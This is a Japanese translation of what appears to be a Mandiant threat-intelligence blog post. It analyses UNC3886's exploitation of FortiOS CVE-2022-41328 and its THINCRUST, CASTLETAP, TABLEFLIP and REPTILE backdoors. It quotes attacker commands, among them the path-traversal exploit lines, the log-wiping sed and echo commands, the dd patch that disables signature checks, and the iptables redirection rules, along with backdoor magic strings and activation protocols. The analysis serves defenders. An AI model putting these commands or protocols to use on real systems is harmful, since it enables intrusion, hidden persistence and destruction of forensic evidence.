Blog

Fortinetのゼロデイ マルウェアとカスタム マルウェア、中国の攻撃者によるスパイ活動で使用された疑い

Alexander Marvi, Brad Slaybaugh, Dan Ebreo, Tufail Ahmed, Muhammad Umair, Tina Johnson
Mar 16, 2023
10 min read
|   Last update Mar 20, 2023
Malware
Threat Intelligence
Zero Day Threats
Vulnerabilities

サイバー スパイ活動に従事する攻撃者は、ファイアウォール、IoT デバイスハイパーバイザー および VPN テクノロジー (FortinetSonicWallPulse Secure、 その他)など、EDRソリューションに対応していないテクノロジーを引き続きターゲットにしています。 Mandiant は、何年にもわたって防衛産業基盤 (DIB)、政府、テクノロジー、および通信の各種組織を標的とした数十件もの侵入事例を調査してきました。これらの侵入事例では、中国との関連が疑われる攻撃グループがゼロデイ脆弱性を悪用し、カスタム マルウェアを展開してユーザーの認証情報を盗み、被害組織内で長期に渡ってアクセスを維持していました。

私たちは、サイバースパイに従事する攻撃者がゼロデイ脆弱性を悪用し、インターネット上に公開されたシステムにカスタムマルウェアを展開する初期侵入のケースをしばしば観測しています。このブログでは、中国に関連する攻撃者がすでに被害組織の環境にアクセスし、環境への持続的なアクセスを維持する手段として、Fortinet および VMware ソリューションにバックドアを展開しましたシナリオについて説明します。これには、FortiOS のローカル ゼロデイ脆弱性 (CVE-2022-41328) の使用と、Fortinet および VMware システムへの複数のカスタム マルウェア ファミリの展開が含まれています。 Mandant は、2022年9月にVMware マルウェア エコシステム の詳細を発表しています。

2022 年半ば、Mandiant は Fortinet と協力して、FortiGate (ファイアウォール)、FortiManager (集中管理ソリューション)、FortiAnalyzer (ログ管理、分析、およびレポート プラットフォーム) を含む複数の Fortinet ソリューションにわたるマルウェアの悪用と展開を調査しました。次の手順は、攻撃者が実行したアクションを示しています。

  1. ローカル ディレクトリ トラバーサル ゼロデイ (CVE-2022-41328) エクスプロイトを利用して、シェル アクセスで許可されている通常の範囲外で FortiGate ファイアウォール ディスクにファイルを書き込む。
  2. ICMP ポート ノッキングによる FortiGate ファイアウォール内のスーパー管理者権限による持続的なアクセスの維持
  3. パッシブ トラフィック リダイレクション ユーティリティを使用して FortiManager デバイスでアクティブなファイアウォール ルールを迂回し、スーパー管理者権限で持続的なバックドアへの接続する。
  4. デバイス内で作成されたカスタム API エンドポイントを介して、FortiManager および FortiAnalyzer デバイスで持続性を確立する。
  5. ブート ファイルに対象を絞って破損し、システム ファイルの OpenSSL 1.1.0 デジタル署名の検証を無効にする。

Mandiant は、この活動をUNC3886にアトリビュートしています。UNC3886は、中国に関連するグループであり、2022年9月に公開された新しいVMware ESXi ハイパーバイザー マルウェア フレームワーク に関連していると私たちは考えています。ESXiiハイバーバイザーが侵害されたとき、Mandiantは UNC3886が VIRTUALPITA バックドアに直接接続するのを複数回観測しました。

Mandiantは、Fortinetの管理IPアドレスからVIRTUALPITAに接続されていることから、FortiGateおよびFortiManagerデバイスが危険にさらされていると考えました。さらに、連邦情報処理規格(FIPS)準拠モードを有効にしたFortiGateデバイスは、再起動した後に起動に失敗しました。FIPSモードを有効にすると、オペレーティングシステムのチェックサムがクリーンなイメージのチェックサムと比較されます。攻撃者によってオペレーティングシステムが改ざんされていたため、チェックサムの比較は失敗し、FortiGate Firewallsは保護的に起動に失敗していました。Fortinetの支援により、Mandiantはこれらの失敗したデバイスのフォレンジックイメージを取得し、ICMPポートノッキングバックドアCASTLETAPの発見を促しました。

Fortinet エコシステム

Fortinet エコシステムの複数のコンポーネントが、VMWare インフラストラクチャに移行する前に、UNC3886 の標的になりました。侵害時のコンポーネントと関連するバージョンは、次のとおりです。

  • FortiGate: 6.2.7  FortiGate ユニットは、デバイスを通過するネットワーク トラフィックの制御と監視を可能にするネットワーク ファイアウォール デバイスです。
  • FortiManager 6.4.7 – FortiManager は、Fortinet デバイスを管理するための集中管理プラットフォームとして機能します。
  • FortiAnalyzer 6.4.7 FortiAnalyzer は、Fortinet デバイスの集中ログ管理ソリューションおよびレポート プラットフォームとして機能します。

シナリオ #1 (要約):
FortiManager がインターネットに公開されている

Mandiant は、攻撃者がFortinetのテクノロジーを悪用してネットワーク アクセスを確立する 2 つの異なる攻撃ライフサイクルを観察しました。最初の攻撃は、FortiManager デバイスがインターネットに公開されている状態のときに、攻撃者がFortinet エコシステムへの最初のアクセスを取得して発生しました。

この攻撃のライフサイクルでは、図 1 に示すように、正当な API コール (THINCRUST) を装ったバックドアが FortiAnalyzer デバイスと FortiManager デバイスの両方に展開されました。そして、2 つのデバイス間で永続性が確立されると、FortiManager スクリプトを使用して、FortiGate デバイス全体にバックドア (CASTLETAP) を展開しました。

Mandiant は、Fortinet デバイスから ESXi サーバーへの SSH 接続、そしてその後でVIRTUALPITA および VIRTUALPIE バックドアを含む悪意のある vSphere インストール バンドルがインストールされるのを観測しました。これにより、攻撃者はハイパーバイザーに永続的にアクセスできるようになり、ゲスト仮想マシン上でコマンドを実行できるようになりました。

Mandiant には、この投稿の執筆時点で、初期アクセスの取得や悪意のある VIB の展開にゼロデイ脆弱性が使用されたという証拠は持っていません。 VIRTUALPITA と VIRTUALPIE については、2022年9月に公開した Mandiant ブログ にて詳しく説明しています。

Attack lifecycle while FortiManager was accessible from the internet
図 1: インターネットから FortiManager にアクセスできる状態になっていた際の攻撃ライフサイクル

シナリオ 2 (要約):
FortiManager がインターネットに公開されていない

2 番目の攻撃ライフサイクルは、外部アクセスを TCP ポート 541 (FortiGate から FortiManager プロトコルへ) のみに制限するネットワーク アクセス コントロール リスト (ACL) が FortiManager デバイスに設定されている場合に発生しました。図 2 に示すように、この攻撃のライフサイクル中に攻撃者は FortiManager デバイスにネットワーク トラフィック リダイレクト ユーティリティ (TABLEFLIP) とリバース シェル バックドア (REPTILE) を展開し、新しい ACL を回避しました。 TABLEFLIP ユーティリティによって確立されたリダイレクト ルールにより、攻撃者はインターネットから直接 REPTILE バックドアにアクセスし、環境へのアクセスを継続することができました。

Activity after Internet access restrictions implemented to FortiManager
図 2: FortiManager にインターネット アクセス制限が実装された後の活動

シナリオ #1 (詳細):
FortiManager がインターネットに公開されている

以下の技術的な詳細は、FortiManager がインターネットに公開されていた際の攻撃者がたどった攻撃経路を説明しています

THINCRUST バックドア (Python ベースのバックドア)

Mandiant の分析では、攻撃者が FortiManager への最初の接続時に、正規の Web フレームワーク ファイルに Python バックドア コードを追加したことが判明しました。 Mandiant は、この新しいマルウェアファミリーをTHINCRUSTとして分類しました。

攻撃者が正規のファイル /usr/local/lib/python3.8/proj/util/urls.py を改ざんし、図3に示すような悪意のあるAPIコール show_device_info を追加で組み込みました。これにより、攻撃者はURI /p/util/show_device_infoへのPOSTリクエストを通じてTHINCRUSTバックドアとやりとりすることができました。

Comparison of urls.py
図 3: urls.py の比較

show_device_info のURLにPOSTリクエストが送られると、/usr/local/lib/python3.8/proj/util/views.pyget_device_info 関数にリクエストを渡しました。get_device_info関数にはTHINCRUSTバックドアが含まれており、攻撃者は図4に見られるように、POSTリクエストで提供されたクッキーに応じてコマンドの実行、ディスクへのファイルの書き込み、ディスクからのファイルの読み取りができるようになっていました。

THINCRUST backdoor python code
図 4: THINCRUST バックドア python コード

get_device_info関数は、POSTリクエスト内の FGMGTOKEN と DEVICEID という2つのクッキーの存在に依存していました。FGMGTOKENクッキーはviews.pyにハードコードされたRSAキーで暗号化されており、DEVICEIDクッキーで受け取ったコマンドを復号するRC4キーが含まれていました。DEVICEID の復号化された結果は、'id'と'key'をキーとするJSONエンコードされた辞書でした。表1に示すように、「id」値はバックドア内で実行するアクションを決定し、「key」値には実行されるアクションの引数として機能する文字列が含まれていました。

表1:get_device_infoバックドアの機能

ID

Command

1

Execute the command line stored in 'key'

2

Write the contents of the HTTP request to the file stored in 'key'. The contents are RC4 encrypted

3

Read the contents of the file stored in 'key' and transfer the contents RC4 encrypted to the client

views.py のほとんどのファイルには @login_required デコレータが適用されていましたが [デコレータとは、明示的にコードを変更することなく他の関数の動作を拡張する任意の関数 (デコレータを呼び出す構文: @<function_name>)] 、悪意のある関数 get_device_info は図 5 にあるようにシステムに内在する Django python モジュールを利用して関数に @csrf_exempt デコレータを追加しています。これは、悪意のあるAPIコールへのPOSTリクエストが、正常に実行されるためにログインやCSRFトークンを必要としないことを意味します。

@login_required vs @csrf_exempt decorators
図 5: @login_required と @csrf_exempt デコレーター

Mandiant は、この悪意のある API コールの亜種が FortiAnalyzer デバイスにも存在することを確認しました。views.pyのバックドア関数であるget_device_infoはFortiManagerと同じでしたが、図6に見られるように、バックドアへのアクセスに使用されるAPIコールは、FortiAnalyzerデバイス上で/p/utils/fortigate_syslog_sendに変更されました

FortiAnalyzer variant of urls.py: fortigate_syslog_send
図 6: urls.py の FortiAnalyzer の亜種: fortigate_syslog_send

FortiGate デバイスでの CVE-2022-41328 のエクスプロイト

THINCRUST バックドアを使用して FortiManager デバイスと FortiAnalyzer デバイス間で持続性が確立された後、攻撃者は FortiManager スクリプトを複数の FortiGate ファイアウォールに展開しました。図 7 に示すように、この活動は FortiGate の elog に記録されています。

図7: FGFMスクリプトの展開ログエントリー

vd="root"
type="event"
subtype="system"
level="notice" logdesc="Upload and run a script"
user=”Fortimanager_Access”
ui="fgfmd"
msg=" User Fortimanager_Access via fgfmd upload and run script: <script_id> -- OK"

攻撃者は、これらのFortiManagerスクリプトが解析のために復元される前にFortiManagerデバイスから削除しましたが、複数のイベントログタイプの相関関係から、スクリプトがパス・トラバーサル脆弱性(CVE-2022-41328)を利用していることがわかりました。この脆弱性は、execute wireless-controller hs20-icon upload-icon(図8参照)というコマンドを使用して、攻撃者に悪用されました。このコマンドにより、攻撃者は、通常制限されているシステムディレクトリ内の正規のファイルを上書きすることができました。通常、execute wireless-controller hs20-icon upload-iconコマンドは、ファイル転送プロトコル(「FTP」)またはTrivial File Transfer Protocol(「TFTP」)を使用してサーバーからFortiGateファイアウォールに.icoファイル(アイコンファイル)をアップロードし、HotSpot 2.0 Online Sign-Up (OSU)ポータル内で使用できるよう使用するために使用します。HotSpot 2.0は、セルラーデータと公衆無線LANをシームレスに切り替えることができる技術です。

しかし、execute wireless-controller hs20-icon upload-iconコマンドには、2つの問題がありました。このコマンドは、アップロードされるファイルの種類を検証せず、スーパー管理者権限を持つ攻撃者が65,535バイトより小さいファイルをファイルシステム上の任意の場所にアップロードできるディレクトリ・トラバーサルエクスプロイトの影響を受ける可能性がありました。つまり、コマンドのサイズ制約の範囲外では、攻撃者はFortiGateファイアウォールのあらゆる正規のシステムファイルを置き換えることが可能だということです。

この脆弱性(CVE-2022-41328)の悪用に成功しても、FortiGateのelogには記録され ません。FortiManagerスクリプトが実行された頃、このエクスプロイトを使用してシステムファイル/bin/lspciを上書きしようとした攻撃者の失敗がelogに記録されています(図8参照)。

図 8:FortiGate elog のコマンド実行に失敗
execute wireless-controller hs20-icon upload-icon ftp ../../../../../../bin/lspci <TA FTP Server>
execute wireless-controller hs20-icon upload-icon tftp ../../../../../../bin/lspci <TA TFTP Server>

Fortinetは、このコマンドの悪用がこれらのイベント以前には見られなかったことを確認し、CVE-2022-41328という名称を割り当てました。Fortinetは、失敗したコマンドイベントで見られた構文を使用して、エクスプロイトを複製することに成功しました。

さらに、FortiGuardのログイベントには、悪用が試みられたことを裏付ける証拠として、「file_transfer: msg フィールドに「TFTP.Server.Buffer.Overflow repeated X times」と表示された FortiGuard のログイベントが見つかりました。これらのイベントは、FortiGateファイアウォールからFortiAnalyzerデバイスへの接続を示し、パケットコンテンツには、図9に示すように、lscpiディレクトリ・トラバーサル文字列が含まれていました。同様のイベントで、FortiGate 6.2.7 デバイスの /bin/ ディレクトリにある別のバイナリである filename ノードを持つディレクトリトラバーサル文字列も参照されましたが、Mandiant は攻撃者が lscpi バイナリを正常に置き換えることのみを観測しました

図9:IPSセンサーログ - 攻撃コンテキストフィールド

PFBBVFRFUk5TPiAAATsuLi88L1BBVFRFUk5TPgo8VVJJPiA8L1VSST4KPEhFQURFUj4gPC9IRUFERVI+CjxCT
0RZPiA8L0JPRFk+CjxQQUNLRVQ+IAABLi4vLi4vLi4vLi4vLi4vLi4vYmluL2xzcGNpAG9jdGV0ADwvUEFDS0
VUPg==

 

Base 64 Decoded

<PACKET> ..../../../../../../bin/lspci.octet.</PACKET>

疑わしいバックドアへのシムリンク (/bin/lspci -> /bin/sysctl)

Mandiant は、複数の FortiGate ファイアウォールのファイルリストを確認し、FortiGate のログに見られる失敗したコマンドを基に、/bin/lspci の変更バージョンを探しました。合計で、/bin/lspciの2つの亜種が確認されました。バイナリのスタンドアロンバージョンと、/bin/sysctlにシンボリックリンクされたバージョンです。Fortinetは、/bin/lspciは常にスタンドアロンのバイナリであるべきだと確認しました。

侵害されたFortiGateファイアウォールの/bin/lspciと/bin/sysctlのファイル一覧エントリには、FortiGateマシン上の他の正規のバイナリと一致しない類似のタイムスタンプがありました。さらに、侵害されたFortiGateファイアウォールの/bin/sysctlのファイルサイズは、非侵害デバイスで報告されたものよりはるかに大きくなっていました。

通常、FortiGateファイアウォールに接続されたPCIeデバイスを一覧表示するには「diagnose hardware lscpi」コマンドを使用しますが、攻撃者が正規のlspciバイナリをシンボリックリンクで置き換えると、診断コマンドは攻撃者が変更したsysctlファイルを代わりに実行できるようになりました。

図10と図11のファイル一覧の抜粋は、FortiGateファイアウォールに存在する/bin/lspciと/bin/sysctlのオリジナルバージョンと修正バージョンの違いを明らかにしています。

図10:/bin/lspciおよび/bin/sysctlに悪意のあるエントリを持つ、侵害されたFortiGateファイアウォール

COMPROMISED-FGT101F # fnsysctl ls -la /bin

...

lrwxrwxrwx    1 root     root             9 Oct 18 13:09 lldptx -> /bin/init

lrwxrwxrwx    1 root     root             9 Oct 18 13:09 lnkmtd -> /bin/init

lrwxrwxrwx    1 root     root            11 Oct 19 05:11 lspci -> /bin/sysctl

lrwxrwxrwx    1 root     root             9 Oct 18 13:09 lted -> /bin/init

lrwxrwxrwx    1 root     root             9 Oct 18 13:09 memuploadd -> /bin/init

...

-rwxr-xr-x    1 root     root       1478216 Oct 19 05:11 sysctl

...

図 11: /bin/lspci および /bin/sysctl の正規のエントリを持つ非侵害の FortiGate ファイアウォール

NON-COMPROMISED-FGT101F # fnsysctl ls -la /bin

...

lrwxrwxrwx    1 0        0       Fri Sep  2 12:07:55 2022         9 lldptx -> /bin/init

lrwxrwxrwx    1 0        0       Fri Sep  2 12:07:55 2022         9 lnkmtd -> /bin/init

-rwxr-xr-x    1 0        0       Fri Sep  2 12:07:55 2022    131736 lspci

lrwxrwxrwx    1 0        0       Fri Sep  2 12:07:55 2022         9 lted -> /bin/init

lrwxrwxrwx    1 0        0       Fri Sep  2 12:07:55 2022         9 memuploadd -> /bin/init

...

-rwxr-xr-x    1 0        0       Fri Sep  2 12:07:55 2022    251480 sysctl

...

修正時間とサイズの違いに加え、ファイル一覧コマンドfnsysctl ls -l /binの出力は、異なるフォーマットと順序で複数のフィールドを表示しました。これは、攻撃者が/bin/sysctlを置き換えたために、FortiGateファイアウォールのシェル機能が変更されたためと思われます。FortiOSのファイルシステムに加えられた変更は永続的ではないため、分析のためにファイルを復元することはできませんでした。

デフォルトでは、FortiOSを実行するFortinetデバイスは、/data/パーティション内にrootfs.gzと名付けられたアーカイブをディスク上に持ちます。ブート時に、このファイルはルートファイルシステムとしてマウントされます。つまり、マウントされたイメージに変更が加えられた場合、rootfs.gz アーカイブに書き込まれない限り、変更は永続化されません。FortiGateファイアウォールは、実行時にマウントされたファイルシステムからファイルをエクスポートすることをサポートしません。bin/lspciと/bin/sysctlに加えられた変更は、rootfs.gzアーカイブに書き込まれなかったため、永続的にインストールされず、さらに分析することができませんでした。

MandiantはFortinetと調整し、侵害されたFortiGateファイアウォールのフォレンジックイメージを入手し、デバイスの予測する内容をより詳しく特定することができました。Fortinetは、侵害された FortiGate ファイアウォールのフォレンジック・イメージを既知の正常なバージョンと比較し、永続的なバックドアを含むトロイの木馬化したファームウェアを特定しました。Mandiant は、このバックドアを CASTLETAP という新しいマルウェア・ファミリーとして報告しています。 

 

CASTLETAP (FortiGate ファイアウォール バックドア)

FortiGateファイアウォールの分析により、追加の悪意のあるファイル/bin/fgfmが特定されました。このファイルは、CASTLETAPという名前のパッシブバックドアであり、起動のために特殊なICMPパケットを待ち受けるものであることが、/bin/fgfmの分析により判明しました。攻撃者は、バックドアをFortiManagerとFortiGateファイアウォール間の通信を促進する正規のサービス「fgfmd」に見せかけるために、このファイルに「fgfm」という名前を付けたと思われます。

実行されると、CASTLETAPは素のソケットを無作為に作成して、ネットワークトラフィックを傍受します。次にCASTLETAPは、ICMPエコー要求パケットのペイロードに含まれる9バイトのマジックアクティベーションストリングをフィルタリングしてXORデコードしました。表2に、CASTLETAPが解釈したマジックストリングとその結果のアクションを示します。

 

表2: CASTLETAP マジックストリングのオプション

Magic String

Description

1qaz@WSXa

Parse C2 information from ICMP payload and connect to it over SSL.

hpaVAj2FJ

Kills CASTLETAP process.

ICMPパケット内のC2情報を解読するために、エポック日付スタンプから1バイトのXORキーを導き出し、ペイロードデータを復号化しました。つまり、エンコーディングの規格が毎日変わっていたことになります。図12は、XORキーの算出に使用された計算式です。

 

図12 CASTLETAP XORキーの計算

((year + 1900 + month * (year + 1900)) * date) % 255

  • year: index starting from 1900 i.e. current_year-1900
  • month: index starting from 0
  • date: index starting from 1

表 3 は CASTLETAP が予測する ICMP パケットのペイロード構造を定義したものです。

表 3:CASTLETAP ICMP パケットの構造

Byte Index/Range

Payload Section Description

<0x00-0x01>

<flag indicating whether to create clone or not>

<0x01-0x02>

<unused>

<0x02-0x0c>

<9-byte magic string + null byte>

<0x0c-0x10>

<XOR encoded C2 IP>

<0x10-0x15>

<XOR encoded port>

アクティべーションパケットからC2のIPアドレスとポートが解析されると、CASTLETAPはSSLソケットを介してC2への接続を開始しました。この接続が確立されると、CASTLETAPはC2サーバーが図13に示す16バイトのシーケンスでハンドシェイクを開始し、同じシーケンスが応答としてエコーされるものと予測しました。

図 13:CASTLETAP ハンドシェイクシーケンス

0x58, 0x90, 0xAE, 0x86, 0xF1, 0xB9, 0x1C, 0xF6, 0x29, 0x83, 0x95, 0x71, 0x1D, 0xDE, 0x58, 0x0D

Once connected to the C2, CASTLETAP could accept multiple types of commands over SSL, as seen in Table 4.

表4:CASTLETAPコマンドキー

Command

Description

0x1

Upload file (to victim)

0x2

Download file (from victim)

0x3

Spawn busybox based command shell, otherwise fallback to a normal command shell.

0x4

Continue receiving

0x5

Receive complete

コマンドの受信に成功すると、バックドアは確認トークンとして「;7(Zu9YTsA7qQ#vw)」というシーケンスを返し、この同じ文字列はセッション終了を知らせるためにも送信されました。

CASTLETAPがFortiGateファイアウォールに展開されると、攻撃者はESXiとvCenterマシンに接続しました。攻撃者はVIRTUALPITAとVIRTUALPIEを展開して永続性を確立し、ハイパーバイザーとゲストマシンへのアクセスを継続できるようにしました。これについては、ブログ記事「悪意のあるVIB(E) Part-1:ESXiハイパーバイザー内の新しいマルウェアの持続性に関する調査」でさらに詳しく解説しています。

 

シナリオ 2 (詳細):
FortiManager がインターネットに公開されていない

ここでは、FortiManagerに外部からのアクセスを制限するためのネットワークアクセス制御リスト(ACL)が設定されている場合に攻撃者がとった攻撃経路を説明します。

インターネット接続が制限された FortiManager へのアクセスの回復

FortiManagerデバイスにACLが実装されると、攻撃者はデバイスへの直接のパブリックアクセスを失います。FortiManagerへのアクセスを回復するため、攻撃者はCASTLETAPで侵害されたFortiGate Firewallからピボットを実行しました。攻撃者は、再接続に成功すると、表5に示す以下の3つの悪意のあるファイルをFortiManagerに展開しました。

表 5:攻撃ライフサイクル 2 マルウェア キー

Malware Family

File Path

Description

N/A

/bin/support

Launches /bin/auth and /bin/klogd and deletes the two files along with /bin/support from disk.

TABLEFLIP

/bin/auth

A passive utility to setup network traffic redirection from a specific IP address destined to the FortiManager on TCP port 541 to another specified port.

REPTILE

/bin/klogd

A backdoor utility that listens for a specialized packet for activation.

ファイル /bin/support (MD5: 9ce2459168cf4b5af494776a70e0feda) は、/bin/klogd (REPTILE variant) と /bin/auth (TABLEFLIP) を実行するための起動スクリプトとして機能しました。攻撃者は、起動ファイル/etc/init.d/localnetを変更して、「nohup /bin/support &」という一行を実行し、システムが再起動されるたびにスクリプトが動作するようにしました。実行中のFortiOSファイルシステムはアーカイブrootfs.gzの一次コピーであるため、ファイルはメモリにロードされた後に一次コピーから削除され、フォレンジックイメージを取得しなければユーザーがアクセスできないファイルであるrootfs.gzアーカイブに保存されます。図14は、/bin/supportの内容を示しています。

図14:/bin/supportの内容

#!/bin/bash

 

#cp /bin/sh /bin/top

 

sleep 30

/bin/klogd

/bin/auth

rm -rf /bin/klogd

rm -rf /nohup.out

rm -rf /bin/support

TABLEFLIP (トラフィックリダイレクトユーティリティ)

インターネットからの直接アクセスを継続できるようにするため、攻撃者はTABLEFLIP(MD5:b6e92149efaf78e9ce7552297505b9d5)を実装しました。これは、特殊なコマンドパケットに対してすべてのアクティブインターフェースで待ち受けるパッシブト ラフィックリダイレクトユーティリティです。このユーティリティを使用すると、ACLの設定に関係なく、図15に示すように、攻撃者はFortiManagerに直接接続できるようになります。

TABLEFLIP behavior
図 15: TABLEFLIP の動作

TABLEFLIPは、TCPパケットをすべてのアクティブインターフェースで待機し、ポートTCP541宛のパケットに対して、図16に示す以下のマジックパケットをTCPペイロードの先頭で検索するようにコンフィグレーションされました。

図16:TABLEFLIPのマジックナンバーシーケンス

17 03 01 01 D8 54 2F 31

マジックナンバーが見つかった場合、マルウェアはTCPペイロードのオフセット0xBからXORキーを抽出しました。この鍵は、XORベースの逐次復号化のためのシードとして使用されました。TCPペイロードのオフセット0xC以降も、この方式で復号化されました。図 17 に、ペイロードの構造を示します

図 17: TABLEFLIP ペイロードの構造

struct _payload

{

_DWORD magic_dword1;

_DWORD magic_dword2;

_BYTE unused[3];

_BYTE xor_key;

_DWORD command;

_DWORD ip;

_WORD port;

};

その後、マルウェアはペイロードからコマンド、IP、およびポートを抽出しようとしました。表6に、コマンドと、コマンドが認識されたときに実行されるアクションについて説明します

表6:TABLEFLIPの機能キー

Command

Description

0xFFFEFDFC

Enable redirection for traffic with source IP matching extracted IP and port 541 to extracted destination port

0xFCFDFEFF

Disable redirection for traffic with source IP matching extracted IP and specified destination port

トラフィックのリダイレクトは、図18に示すように、FortiManagerシステム上にiptablesルールを追加することで 達成されました。コマンドパケットに指定されたソースIPとリダイレクトポートでiptablesを実行し、そのIPとポートの組み合わせに対するPEROUTINGルールがすでに存在するかどうかをチェックしました。その組み合わせが見つからなかった場合、PEROUTINGチェーンに新しいリダイレクトルールが追加されました。PEROUTINGチェーンの下のルールは、パケットがインタフェースで受信されると直ちに処理されました。

図18:トラフィックのリダイレクトを実装するためのiptablesルール
iptables -t nat -S PREROUTING | grep <src_ip> | grep <redirection_port> || iptables -t nat -A PREROUTING -p tcp -s <src_ip> --dport 541 -j REDIRECT --to-port <redirection_port>

トラフィックリダイレクトの削除に割り当てられたとき、TABLEFLIPはgrepコマンドを利用して、PEROUTINGチェーンの中で対象となるIPアドレスとリダイレクトポートを含むすべての行をフィルタリングし、適切なルールIDをawkでキャプチャしました。これらのidは、図19に示すように、PEROUTINGチェーンから削除するためにxargsでiptablesに返されました

図19: トラフィックのリダイレクトを無効にするiptablesルール
iptables -t nat -S PREROUTING | tail -n +2 | grep -n -E '<src_ip>.*< redirection_port>' | awk -F: '{print $1}'| xargs iptables -t nat -D PREROUTING

REPTILE (バックドア)

FortiManagerデバイス上で永続的なアクセスを実現するために、攻撃者は、MandiantがREPTILEと呼ぶファイル名/bin/klogd (MD5: 53a69adac914808eced2bf8155a7512d) を持つバックドア(一般に公開されているLinuxカーネルモジュール(LKM)ルートキットの変種)を展開させました。TABLEFLIPのアシストによって、攻撃者はiptablesトラフィックリダイレクトルールを使用してトラフィックを転送し、REPTILEバックドアにアクセスすることに成功しました。

実行されると、REPTILEはOSIレイヤー2パケットを受信するためのパケットソケットを作成しました。パケットを受信すると、バックドアは図20の疑似コードに見られるチェックを実行し、マジックストリングが存在するかどうかを判断します。

図20:REPTILEマジックストリング検出擬似コード

single_byte_xor_key = (month * year) * day % 255

index = 2 * data_received_on_port_8[7];

data_to_decode_ptr = *((char *)&data[index + 12] + 1)
 

i = 0

while ( i < strlen(data_to_decode) )
    decoded_data[i] = data_to_decode_ptr[i++] ^ single_byte_xor_key;

 

 

strncmp(&decoded_data, "mznCvqSBo", 9)

表7に、REPTILEが解釈するマジックストリングと、その結果の動作を示します。

表7:REPTILEのマジックストリングオプション

Magic String

Description

mznCvqSBo

Parse C2 information from OSI layer 2 packet and connects to it over SSL.

hpaVAj2FJ

Kills REPTILE process (Only searched for if first magic string not found)

CASTLETAP が C2 情報をデコードするために使用した方法と同様に、REPTILE はエポックの日付スタンプから 1 バイトの XORキーを導出してペイロード データを復号化しました。これにより、暗号化キーが毎日変更されました。図 21 は、XORキーの計算に使用された式を示しています。

図21:REPTILE XORキーの計算結果

(month * (year + 1900)) * day % 255

  • year: index starting from 1900 i.e. current_year-1900 
  • month: index starting from 0
  • date: index starting from 1

マジックストリング「mznCvqSBo」が見つかった場合、アクティブ化パケットの残りのペイロードから抽出したC2 IPアドレスと宛先ポートでリバースシェルを作成しました。最初のマジックストリングが存在しない場合、バイナリは2番目のマジックストリング「hpaVAj2FJ」を検索します。この2番目のマジックストリングが見つかった場合、REPTILEプロセスは終了します。

マジックストリングが見つからなかった場合、バックドアは他の接続を引き続き検索します。

攻撃者のアンチフォレンジック

ログの消去と修正

Mandiant は FortiManager のシステムメモリを分析し、複数のログソースから攻撃者の IP アドレスを含む特定のイベントを消去するために使用された攻撃者のコマンドを特定しました。図22に見られるコマンドは、THINCRUSTバックドアへの接続に使用されたIPアドレスを含むログエントリを削除するために攻撃者によって利用されました。

図22:攻撃者のアンチフォレンジックコマンド
echo > /var/log/django.log; \
echo > /var/log/apache2/error_log; \
sed -i ‘/<ipaddress>/d’ /var/log/apache2/*log; \
ls -alt /var/log/ /var/log/apache2/

起動時のファイル システム検証の無効化

攻撃者は、起動時にファイルシステムに対して行われるデジタル署名検証チェックをスキップするために、FortiManagerとFortiAnalyzerの両デバイスのrootfs.gzアーカイブ内のスタートアップ設定/etc/init.d/localnetに図23に示すコマンドを追加しました。

図23:/etc/init.d/localnet - DDコマンド
printf "t" | dd of=/bin/smit bs=1 count=1 conv=notrunc seek=22866 2>/dev/null

FortiManagerとFortiAnalyzerの両方から、侵害された/bin/smit(a388ebaef45add5da503e4bf2b9da546)をクリーンバージョンと比較すると、修正されたバイナリには1バイトの違いがありました。システム起動時にmountコマンドライン引数が与えられると、/bin/smit内の変更された場所が実行されます。通常、mount 関数は、/data/.fmg_sign に対して図 24 のファイルに対する OpenSSL 1.1.0 デジタル署名検証チェックを実行しますが、この変更により、条件付きジャンプ命令が無条件ジャンプ命令に変わり、システム ファイルに対して通常行われるデジタル署名検証チェックが常にスキップされました

図24:/bin/smitで通常チェックされるファイル群

/data/extlinux.sys

/data/extlinux.conf

/data/boot.msg

/data/vmlinuz

/data/rootfse-fe

mountコマンドはシステム起動時に/etc/init.d/localnetより先に実行されるため、ddコマンドは/bin/smitの22,866バイト目を文字「t」で上書きし、ファイルがハッシュ化されていても、あたかも改ざんされていないようなバイナリに戻してしまいます。

アトリビューション

UNC3886は、ネットワーク上での活動する方法とキャンペーンで使用するツールにおいて独自の能力を持つ高度なサイバースパイグループです。UNC3886は、EDRサポートのないファイアウォールや仮想化技術をターゲットにしていることが確認されています。ファイアウォールのファームウェアを操作し、ゼロデイを悪用する能力は、こうした技術についてより深いレベルで理解していることを示すものです。UNC3886は、公開されているマルウェアを修正し、特に*nixオペレーティングシステムをターゲットにしています。

UNC3886とは関係なく、中国からと思われる別の攻撃グループが最近、Fortinetのゼロデイ脆弱性を狙っていることが確認されています(2023年1月中旬にMandiantが報告)。Mandiantは、引き続き証拠を収集し、UNC3886と中国のAPTに起因する他のグループとの間の重複を明らかにしていきます。

結 論

このブログ記事で取り上げた活動は、高度なサイバースパイ攻撃者が、標的とする環境への接続を獲得して侵入するために利用できるあらゆる技術、特にEDRソリューションに対応していない技術を活用していることを示す新たな証拠です。多くのネットワーク機器には、基本的なオペレーティング・システムに加えられたランタイムの変更を検出するソリューションがなく、フォレンジックイメージを収集するためにメーカーが直接関与する必要があるため、これは調査担当者にとっては特有の課題となっています。新しい攻撃手法が公開される前に、メーカーにいち早く知らせ、調査担当者に新しい攻撃に対応できる専門知識を提供するためには、組織横断的なコミュニケーションとコラボレーションが重要です。

Mandiantは、ESXiとVMwareインフラストラクチャを使用している企業に対し、このブログ記事で説明されているハードニング手順に従って、ESXiホストの攻撃対象領域を最小限に抑えることを推奨しています。

謝 辞

本ブログ記事で取り上げたマルウェアファミリーの調査、技術検討、検出の作成にご協力いただいたJeremy Koppen、Kirstie Failey、Bryce Bucklin、Jay Smith、Nicholas Luedtke、Ronnie Salomonsen、Nino Isakovic、Charles Carmakal、Fortinet PSIRTに特に感謝します。さらに、この調査におけるFortinetとVMwareの協力にも感謝します。

Fortinetは、CVE-2022-41328特定された攻撃者の活動の分析に関する2つの追加リソースをリリースしています。

MITRE ATT&CK Techniques

Impact

  •    T1565.001: Stored Data Manipulation

Defense Evasion

  •    T1027:        Obfuscated Files or Information
  •    T1070:        Indicator Removal
  •    T1070.003:    Clear Command History
  •    T1070.004:    File Deletion
  •    T1078:        Valid Accounts
  •    T1140:        Deobfuscate/Decode Files or Information
  •    T1202:        Indirect Command Execution
  •    T1218.011:    Rundll32
  •    T1222:        File and Directory Permissions Modification
  •    T1497:        Virtualization/Sandbox Evasion
  •    T1497.001:    System Checks
  •    T1620:        Reflective Code Loading

Credential Access

  •    T1552:        Unsecured Credentials
  •    T1555.005:    Password Managers

 Discovery

  •    T1016:        System Network Configuration Discovery
